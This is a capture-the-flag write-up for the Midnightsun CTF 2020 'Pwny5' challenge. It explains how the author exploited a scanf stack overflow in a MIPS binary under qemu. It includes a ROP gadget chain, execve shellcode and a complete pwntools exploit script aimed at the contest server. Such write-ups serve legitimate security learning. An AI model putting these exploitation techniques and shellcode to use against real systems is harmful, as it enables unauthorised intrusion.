Pwny5 -- Midnightsun CTF 2020
Pwny5 Writeup – Midnightsun CTF 2020
Points: 176
Solves: 27
Intro
In this challenge we get a statically linked binary with a very simple vulnerability. A scanf("%s", stack_buffer)
resulting in a classic stack buffer overflow, as can be seen in the image below.
The interesting part is that we have a mips
binary. This was a first for me and in this writeup we will explore how I debugged and exploited this challenge.
Debugging setup
First of all let’s get a good debugging setup.
To simply run the binary we can use qemu-mipsel-static ./pwn5
.
We can also make qemu wait for a gdb connection on port 1234 with qemu-mipsel-static -g 1234 ./pwn5
. Then, on another terminal, we can launch gdb-multiarch
and run the following commands to establish the connection (I added these to my ~/.gdbinit
to make this step automatic):
file ./pwn5
set arch mips
target remote localhost:1234
And we have debugging! As a side note, pwndbg
was making qemu crash for some reason I did not investigate, but switching to gef
fixed that problem for the most part.
Exploit
To start let’s get pc
(program counter) control. The program calls scanf("%s", buf_64_sz)
and so we just need to fill the buffer with "A"*64
and then we have control over the fp
(frame pointer) and ra
(return address).
fp = "BBBB"
ra = "CCCC"
s.sendline("A"*64 + fp + ra)
To pop a shell, my first thought was to ROP, calling the read
syscall to read /bin/sh
to the bss, and then calling the execve
syscall. In linux mips syscall arguments are passed in registers $a0
to $a3
and the syscall number is passed in register $v0
.
After looking through the gadgets (extracted with ROPgadget --binary ./pwn5
) I noticed that, contrarily to x86, having control over the argument registers $a0
, $a1
and $a2
is not very easy.
For that reason I decided to use the existing scanf
call in the binary to get data into the bss
. As we can see in the image below, if we jump to the highlighted address 0x400758
, we can control where the scanf will write to by controlling $v0
.
And that is what I did. I used a gadget to control $v0
and then jumped to 0x400758
.
def set_v0(v0):
return "".join([
p32(0x0046f27c), # lw $v0, 0x20($sp); lw $ra, 0x2c($sp); jr $ra ; addiu $sp, $sp, 0x30
"X"*0x20,
p32(v0),
"X"*0x8,
])
addr_to_read_to = elf.bss(0x100)
scanf_addr = 0x400758
ROP = "".join([
set_v0(addr_to_read_to),
p32(scanf_addr),
])
payload = "A"*64 + p32(elf.bss(0x200)) + ROP
s.sendline(payload)
I also made fp
equal bss+0x200
, because this value will be used to set sp
after the call to scanf
, on the instruction move $sp, $fp
which is analogous to leave
on x86. (can be seen in the first picture at 0x40078c). By controlling the stack pointer, we can regain ra
and therefore pc
control.
At this point I also realized that I could execute shellcode on the stack, bss, etc.. since all mappings are rwx
. Since I was already reading to the bss, I decided to read shellcode, and then jump to it.
The shellcode consisted of:
- setting
$a1
and$a2
to 0 - setting
$a0
to the address of/bin/sh
by simply subtracting 8 to the original$a0
(determined by debugging) - setting
$v0
with theexecve
syscall number - jumping to the address of a
syscall
gadget already in the binary
Side note: Ideally I would simply use the syscall
instruction (opcode 0000000c
), but it contains the byte 0c
which would cause scanf
to stop reading. At the time I didn’t know this, but there was a simple workaround. As you can see in mips-isa page 159, the syscall opcode has a code
field which we can use to our advantage. Assembling syscall 0xfffff
results in opcode 03ffffcc
which does NOT contain a terminating char like before. Having said this, jumping to a syscall
gadget was also simple enough and I even learned about delay slots.
If you notice there is a nop
after the j 0x4068bc
, which is not there by accident. In MIPS there are branch delay slots, meaning the next instruction is always executed, even if the previous instruction was a branch that was taken.
mips_shellcode = asm("""
xor $a1, $a1
xor $a2, $a2
addiu $a0, $a0, -8 # This will point to /bin/sh
li $v0, 4011 # execve syscall
j 0x4068bc # syscall gadget
nop
""")
print disasm(mips_shellcode)
# The bytes that will stop scanf from reading
assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode])
payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr)
s.sendline(payload_2.ljust(1132-8, "Z") + "/bin/sh")
And we have a shell!
Other possible methods
Now thinking about it, since the code area is writable I guess I could have just injected my shellcode right after the scanf
call instead of injecting it in the bss and then jumping to it.
Maybe I could even just have written the shellcode on the stack and used a gadget to jump to the stack pointer, instead of reading the second time with scanf
.
Below you can find the full script.
Full script
from pwn import *
import sys
LOCAL = True
if "remote" in sys.argv:
LOCAL = False
context.clear(log_level='info', arch="mips", os='linux')
elf = ELF("pwn5")
HOST = "pwn5-01.play.midnightsunctf.se"
PORT = 10005
def go():
if LOCAL:
# s = process("qemu-mipsel-static -g 1234 ./pwn5".split(" "))
s = process("qemu-mipsel-static ./pwn5".split(" "))
else:
s = remote(HOST, PORT)
s.recvuntil("data:")
def set_v0(v0):
return "".join([
p32(0x0046f27c), # : lw $v0, 0x20($sp) ; lw $ra, 0x2c($sp) ; jr $ra ; addiu $sp, $sp, 0x30
"X"*0x20,
p32(v0),
"Z"*0x8,
])
shellcode_addr = elf.bss(0x100)
scanf_addr = 0x400758
ROP = "".join([
set_v0(shellcode_addr),
p32(scanf_addr),
])
payload = "A"*64 + p32(elf.bss(0x200)) + ROP
print "Payload:", payload
s.sendline(payload)
mips_shellcode = asm("""
xor $a1, $a1
xor $a2, $a2
addiu $a0, $a0, -8 # This will point to /bin/sh
li $v0, 4011 # execve syscall
j 0x4068bc # syscall gadget
nop
""")
print disasm(mips_shellcode)
# The bytes that will stop scanf from reading
assert all([i not in "\x09\x0a\x0b\x0c\x0d\x20" for i in mips_shellcode])
payload_2 = mips_shellcode.ljust(348, "D") + p32(shellcode_addr)
payload_2 = payload_2.ljust(1132-8, "Z") + "/bin/sh"
s.sendline(payload_2)
s.interactive()
go()